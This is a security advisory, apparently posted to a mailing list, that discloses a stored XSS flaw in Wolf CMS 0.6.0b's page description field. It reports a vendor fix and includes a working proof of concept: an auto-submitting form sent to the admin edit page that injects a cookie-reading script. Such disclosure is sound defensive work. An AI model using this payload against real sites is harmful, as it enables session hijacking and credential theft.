[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS vulnerability in Wolf CMS



Vulnerability ID: HTB22678
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_wolf_cms.html
Product: Wolf CMS
Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) 
Vulnerable Version: 0.6.0b and probably prior versions
Vendor Notification: 09 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the 
"wolf/app/controllers/PageController.php" script to properly sanitize 
user-supplied input in "page[description]" variable. Successful exploitation of 
this vulnerability could result in a compromise of the application, theft of 
cookie-based authentication credentials, disclosure or modification of 
sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/?/page/edit/PAGE_ID"; method="post" name="main">

<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="Page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumb">
<input type="hidden" name="page[keywords]" value="">
<input type="hidden" name="page[description]" 
value='descr"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-22">
<input type="hidden" name="page[created_on_time]" value="06:15:18">
<input type="hidden" name="page[published_on]" value="2010-10-22">
<input type="hidden" name="page[published_on_time]" value="06:15:18">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="11">
<input type="hidden" name="part[0][filter_id]" value="textile">
<input type="hidden" name="part[0][content]" value="This is a page">
<input type="hidden" name="part[1][name]" value="sidebar">
<input type="hidden" name="part[1][id]" value="12">
<input type="hidden" name="part[1][filter_id]" value="">
<input type="hidden" name="part[1][content]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="commit" value="Save and Close">

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version